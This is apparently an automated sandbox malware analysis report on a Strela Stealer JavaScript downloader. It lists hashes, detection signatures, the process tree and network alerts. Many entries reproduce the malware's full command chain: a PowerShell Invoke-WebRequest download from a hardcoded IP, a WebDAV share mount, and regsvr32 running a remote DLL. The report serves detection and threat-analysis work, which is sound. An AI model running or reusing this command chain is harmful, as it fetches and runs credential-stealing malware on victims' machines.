Edit tour

Windows Analysis Report
27321191142887719888.js

Overview

General Information

Sample name:	27321191142887719888.js
Analysis ID:	1588110
MD5:	49847cff7f099e62deaa604044d8aa2e
SHA1:	22e98d8a9366637796fb66d93d98a183b446d8a8
SHA256:	8978d6364cae1b05d2e4aafdce663849b53385ba2b4e53b6987d31a6f4efd58d
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7164 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3228 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7124 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6656 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 180 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7356 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1520,i,12609673938497949389,15073909671236922757,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6128 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2300 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3920 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7164	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7124, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7124, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ProcessId: 7164, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2300, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ProcessId: 3228, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ProcessId: 3228, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ProcessId: 3228, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ProcessId: 3228, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ProcessId: 3228, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ProcessId: 7164, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7124, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2300, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3920, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6128, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2300, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\27321191142887719888.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7164, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171322664910007.dll, ProcessId: 3228, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:29:44.466661+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T21:29:41.945022+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 27321191142887719888.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 27321191142887719888.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:29:41 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

